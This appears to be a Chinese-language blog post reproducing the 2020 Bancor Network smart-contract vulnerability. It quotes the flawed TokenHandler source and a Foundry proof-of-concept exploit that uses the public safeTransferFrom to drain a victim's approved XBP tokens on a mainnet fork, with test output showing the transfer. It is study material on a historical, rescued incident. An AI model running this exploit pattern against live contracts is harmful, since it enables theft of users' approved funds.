Skip to main content

Command Palette

Search for a command to run...

defi 攻击复现 Bancor Network

Published
4 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement
  • 涉及到的交易和地址

受害者合约 BancorNetwork 地址 0x5f58058C0eC971492166763c8C22632B583F667f

BancorNetwork 自行发现该漏洞后,主动转移合约内的资产到安全钱包,所以不存在[攻击者 以及 攻击合约]

转移的合约内资产 Token BlitzPredict (XBP) 地址 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40

转移资产交易哈希 0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f

https://etherscan.io/address/0x5f58058c0ec971492166763c8c22632b583f667f

https://etherscan.io/token/0x28dee01d53fed0edf5f6e310bf8ef9311513ae40

https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
  • 交易详情

Transaction Hash:0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
Status:Success
Block:10307564
Timestamp:1896 days ago (Jun-21-2020 06:48:44 AM UTC)


From:0x14Fa61Fd261aB950b9cE07685180A9555ab5d665
Interacted With (To):0x5f58058C0eC971492166763c8C22632B583F667f(Bancor: Vulnerable Contract 2)
ERC-20 Tokens Transferred:
From 0xfd0B4DAa...9a816E67E To Bancor: White Hat Safe Wallet For905,987.977635678910008152 $73.27 BlitzPredict (XBP)

Input Data: 
Function: safeTransferFrom(address _token, address _from, address _to, uint256 _value)
MethodID: 0xd9fc4b61
[0]:  00000000000000000000000028dee01d53fed0edf5f6e310bf8ef9311513ae40
[1]:  000000000000000000000000fd0b4daa7ba535741e6b5ba28cba24f9a816e67e
[2]:  00000000000000000000000029551fc9c39a95d8f93ad4209944ff05846a05f3
[3]:  00000000000000000000000000000000000000000000bfd9b4e8f99ec359cb58

调用函数 safeTransferFrom ,函数选择器 0xd9fc4b61,传入参数:转移资产 XBP;源地址 0xfd0b4d;目的地址 Bancor 安全钱包;转移数量 905,987.977635678910008152

  • BancorNetwork 合约源码
contracts/utility/TokenHandler.sol
line 505-553
contract TokenHandler {
    bytes4 private constant APPROVE_FUNC_SELECTOR = bytes4(keccak256("approve(address,uint256)"));
    bytes4 private constant TRANSFER_FUNC_SELECTOR = bytes4(keccak256("transfer(address,uint256)"));
    bytes4 private constant TRANSFER_FROM_FUNC_SELECTOR = bytes4(keccak256("transferFrom(address,address,uint256)"));

    /**
      * @dev executes the ERC20 token's `approve` function and reverts upon failure
      * the main purpose of this function is to prevent a non standard ERC20 token
      * from failing silently
      *
      * @param _token   ERC20 token address
      * @param _spender approved address
      * @param _value   allowance amount
    */
    function safeApprove(IERC20Token _token, address _spender, uint256 _value) public {
       execute(_token, abi.encodeWithSelector(APPROVE_FUNC_SELECTOR, _spender, _value));
    }

    /**
      * @dev executes the ERC20 token's `transfer` function and reverts upon failure
      * the main purpose of this function is to prevent a non standard ERC20 token
      * from failing silently
      *
      * @param _token   ERC20 token address
      * @param _to      target address
      * @param _value   transfer amount
    */
    function safeTransfer(IERC20Token _token, address _to, uint256 _value) public {
       execute(_token, abi.encodeWithSelector(TRANSFER_FUNC_SELECTOR, _to, _value));
    }

    /**
      * @dev executes the ERC20 token's `transferFrom` function and reverts upon failure
      * the main purpose of this function is to prevent a non standard ERC20 token
      * from failing silently
      *
      * @param _token   ERC20 token address
      * @param _from    source address
      * @param _to      target address
      * @param _value   transfer amount
    */
    function safeTransferFrom(IERC20Token _token, address _from, address _to, uint256 _value) public {
       execute(_token, abi.encodeWithSelector(TRANSFER_FROM_FUNC_SELECTOR, _from, _to, _value));
    }

三个函数的 Access Control 全都是 public, 意味着任何人可以调用该函数来进行转账操作。 攻击者可以调用 safeTransferFrom 函数,其中 from 设为任何该合约的用户, to 设为攻击者自己的 address。从而无限制的将用户的 token 转移到自己的钱包

  • EXP

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-06/Bancor_exp.sol


// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

/*
Bancor Protocol Access Control Exploit PoC

Some of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.

As a result, if any user had granted approval to these contracts was vulnerable.

The attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token 

Example tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
*/

interface IBancor {
    function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;
}// 定义 IBancor 接口,只包含 safeTransferFrom 一个函数用于后续测试

// 攻击合约
contract BancorExploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码
    address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;// BancorNetwork 合约地址
    address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;// 被转移资产的地址
    address attacker = address(this);// 定义当前合约为攻击者
    IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40); // 把 XBP 地址传入 IERC20 接口,定义该地址为 ERC20 实例

    IBancor bancorContract = IBancor(bancorAddress);// 把  BancorNetwork 合约地址传入 IBancor 接口,定义  BancorNetwork 合约实例

    function setUp() public {
        cheats.createSelectFork("mainnet", 10_307_563); // 交易发生在 10307564,分叉交易发生前一区块
    }

// 测试函数
    function testsafeTransfer() public {
        emit log_named_uint(
            "Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether)
        );// 打印[受害者 给 BancorNetwork 授权 XBP 资产的额度],并以 ether 为单位显示
        emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
        emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
// 分别打印[攻击之前 受害者 和 攻击者 的 XBP 资产余额],并以 ether 为单位显示

        cheats.prank(address(this));//按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止

        bancorContract.safeTransferFrom(IERC20(address(XBPToken)),victim,attacker,XBPToken.balanceOf(victim));
// 调用 BancorNetwork 合约的 safeTransferFrom 函数,依次传入参数,要转移的资产[XBP],源地址[受害者],目标地址[攻击者],转移数量[受害者合约的余额]

        emit log_string("--------------------------------------------------------------");
        emit log_named_uint("[After Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
        emit log_named_uint("[After Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
    }// 分别打印[攻击之后 受害者 和 攻击者 的 XBP 资产余额],并以 ether 为单位显示
}
  • 使用 forge 命令测试结果
$ forge test Bancor_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 2 files with Solc 0.8.10
[?] Solc 0.8.10 finished in 4.99s
Compiler run successful with warnings:

Ran 1 test for test/Bancor_exp.t.sol:BancorExploit
[PASS] testsafeTransfer() (gas: 79975)
Logs:
  Victim XBPToken Allowance to Bancor Contract : : 30517969405419767
  [Before Attack]Victim XBPToken Balance : : 905987
  [Before Attack]Attacker XBPToken Balance : : 0
  --------------------------------------------------------------
  [After Attack]Victim XBPToken Balance : : 0
  [After Attack]Attacker XBPToken Balance : : 905987

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.88s (1.41s CPU time)
Ran 1 test suite in 3.94s (3.88s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • 主要参考文章
https://zhuanlan.zhihu.com/p/161627149

https://learnblockchain.cn/article/1182

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization